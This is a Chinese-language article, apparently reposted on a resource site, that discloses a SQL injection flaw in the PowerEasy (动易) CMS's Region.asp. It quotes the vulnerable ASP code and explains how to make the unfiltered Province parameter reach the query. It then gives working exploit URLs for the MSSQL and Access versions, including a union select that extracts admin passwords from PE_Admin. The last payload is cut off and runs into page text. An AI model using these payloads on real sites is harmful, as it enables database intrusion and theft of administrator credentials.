Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / 动易最新未公开Bug

动易有一处逻辑错误!
在Region.asp中
Country = ReplaceBadChar(Trim(Request("Country")))
Province = ReplaceBadChar(Trim(Request("Province")))
City = ReplaceBadChar(Trim(Request("City")))
对所有传入的变量都进行了过滤,但是编程者在这里:
Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country="" & Country & "" ORDER BY ProvinceID")
If Err Or TempRs.EOF Then
ReDim ShowProvince(0, 0)
Province = Trim(Request.QueryString("Province"))
Else
ShowProvince = TempRs.GetRows(-1)
End If
Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province="" & Province & """)
大家可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。
但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country="" & Country & "" ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:
0">http://127.0.0.1/Region.asp?Country...tt&Province=shi"+and+user>0--
就是在
http://127.0.0.1/Region.asp?Country...tt&Province=shi"后面加上我们的SQL注入语句。
这就是整个利用原理,很简单,但也很致命的漏洞。
上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。
http://127.0.0.1/Region.asp?Country...tt&Province=shi" and 1=1 and "1"="1
这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。
http://127.0.0.1/Region.asp?Country...tt&Province=shi"+and+1=2+union+select+password+from+PE_Admin+where+1linux 网络安全经验安全配置SQLServer2000数据库教程相关资讯      本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款